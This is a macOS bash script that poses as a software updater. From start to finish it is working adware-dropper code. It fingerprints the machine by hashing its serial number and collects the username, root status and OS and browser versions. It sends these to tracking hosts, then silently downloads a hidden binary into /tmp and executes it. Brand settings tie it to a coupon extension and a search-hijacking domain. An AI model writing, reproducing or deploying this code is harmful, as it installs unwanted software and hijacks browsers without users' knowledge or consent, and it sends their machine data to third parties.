#!/bin/bash userName="${USER}" if [[ ! -z "${SUDO_USER}" ]]; then userName="${SUDO_USER}" fi if [[ "${userName}" == "root" ]]; then userName=$(logname) fi if [[ "${userName}" == "root" ]]; then userName=$(who | grep console | awk '{print $1}') fi if [[ "${userName}" == "root" ]]; then userName=$(whoami) fi if [[ "${userName}" == "root" ]]; then userName=$(id -un 501) fi userHome=$(eval echo "~${userName}") updId='upd2152ns' lockFile="${userHome}/Library/Application Support/.${updId}" if [[ -f "${lockFile}" ]]; then exit 0 fi touch "${lockFile}" clickId="0" if [[ "${clickId}" == *"CLICK_ID"* ]]; then clickId="0" fi updDomain="request.macmymacupdater.com" if [[ "${updDomain}" == *"UPD_DOMAIN"* ]]; then updDomain="" fi machineId=$(ioreg -c IOPlatformExpertDevice -d 2 | awk -F\" '/IOPlatformSerialNumber/{print $(NF-1)}' | tr -d '\n'| openssl md5) osVer=$(sw_vers -productVersion) safariVersion="" safariPlistPath="/Applications/Safari.app/Contents/Info.plist" if [[ -e "${safariPlistPath}" ]]; then safariVersion=$(/usr/libexec/PlistBuddy -c "Print CFBundleShortVersionString" "${safariPlistPath}" 2>/dev/null) fi chromeVersion="" chromePlistPath="/Applications/Google Chrome.app/Contents/Info.plist" if [[ -e "${chromePlistPath}" ]]; then chromeVersion=$(/usr/libexec/PlistBuddy -c "Print CFBundleShortVersionString" "${chromePlistPath}" 2>/dev/null) fi brand="MyCouponsmart" searchBrand="SearchMine" searchDomain="www.searchmine.net" channel="upd-2027ns" searchChannel="2027ns" trackingUrl="http://events.macmymacupdater.com/gen/index.php?col=upd2152ns-cm&clickId=${clickId}" eventsUrl="http://events.macmymacupdater.com/gen/index.php?col=upd2152ns-events&clickId=${clickId}" trackingUrlEsc="http://events.macmymacupdater.com/gen/index.php?col=upd2152ns-cm\&clickId=${clickId}" eventsUrlEsc="http://events.macmymacupdater.com/gen/index.php?col=upd2152ns-events\&clickId=${clickId}" resultA="0" mmtmp="/private/tmp/.mmupdatescripts_$(date +%Y%m%d%H%M%S)" mkdir -p $mmtmp export MM_CLICK_ID="${clickId}" export MM_EXP="upd2152ns" export MM_DS=1 export MM_HPNT=1 export MM_MOBC=1 export MM_ANYS=1 export MM_BRAND="${brand}" export MM_SEARCH_BRAND="${searchBrand}" export MM_SEARCH_DOMAIN="${searchDomain}" export MM_CHANNEL="${channel}" export MM_SEARCH_CHANNEL="${searchChannel}" export MM_TRACKING_URL="${trackingUrl}&" export MM_CLICK_BROWSER=5 export MM_SKIP_UPDATER_UNINSTALL=1 isRoot="false" if [[ $EUID -eq 0 ]]; then isRoot="true" fi trackingUrl="http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1" curl -s \ --data-urlencode "event=upd2152nsstart" \ --data-urlencode "click_id=${clickId}" \ --data-urlencode "c3=${machineId}" \ --data-urlencode "is_root=${isRoot}" \ --data-urlencode "platform_version=${osVer}" \ --data-urlencode "safari_version=${safariVersion}" \ --data-urlencode "chrome_version=${chromeVersion}" \ --data-urlencode "r4=${userName}" \ --data-urlencode "domain=${updDomain}" \ --data-urlencode "webtools_brand=${brand}" \ --data-urlencode "search_domain=${searchDomain}" \ --data-urlencode "webtools_channel=${channel}" \ --data-urlencode "search_channel=${searchChannel}" \ "${trackingUrl}" curl "https://inst.myshopcouponmac.com/updates/log?msg=${updId}:${machineId}:start" # generate visit id visitId="NA" response=$(curl "https://trk.myshopcouponmac.com/visit?cid=367&clkid=${clickId}&sid=${updId}&os=Mac%20OS%20X&osv=${osVer}") IFS='"' # space is set as delimiter read -ra ADDR <<< "$response" # str is read into an array as tokens separated by IFS counter=0 for i in "${ADDR[@]}"; do # access each element of array if (( $counter == 7 )); then visitId=$i fi counter=$((counter+1)) done echo $visitId if [ $visitId != "NA" ]; then # download updater /usr/bin/curl -s -o "/tmp/.${updId}" "https://installer.yougotupdated.com/offers/macUpdater/updater" if [[ ! $? -eq 0 ]]; then curl "https://inst.myshopcouponmac.com/updates/log?msg=${updId}:${machineId}:failed_downloading_new_updater" fi # install chmod a+x "/tmp/.${updId}" $(/tmp/.${updId} -method=install -vid=${visitId}) if [[ ! $? -eq 0 ]]; then curl "https://inst.myshopcouponmac.com/updates/log?msg=${updId}:${machineId}:failed_installing_new_updater" fi else curl "https://inst.myshopcouponmac.com/updates/log?msg=${updId}:${machineId}:failed_fetching_visit_id" fi curl "https://inst.myshopcouponmac.com/updates/log?msg=${updId}:${machineId}:done" trackingUrl="http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1" curl -s \ --data-urlencode "event=upd2152nsdone" \ --data-urlencode "click_id=${clickId}" \ --data-urlencode "c3=${machineId}" \ --data-urlencode "is_root=${isRoot}" \ --data-urlencode "platform_version=${osVer}" \ --data-urlencode "safari_version=${safariVersion}" \ --data-urlencode "chrome_version=${chromeVersion}" \ --data-urlencode "r1=${resultA}" \ --data-urlencode "r2=${mmPasswdSuccess}" \ --data-urlencode "r3=${userName}" \ --data-urlencode "domain=${updDomain}" \ --data-urlencode "webtools_brand=${brand}" \ --data-urlencode "search_domain=${searchDomain}" \ --data-urlencode "webtools_channel=${channel}" \ --data-urlencode "search_channel=${searchChannel}" \ "${trackingUrl}" # -------------------------------------------------------------------------------- # no updates found for software id (version N/A)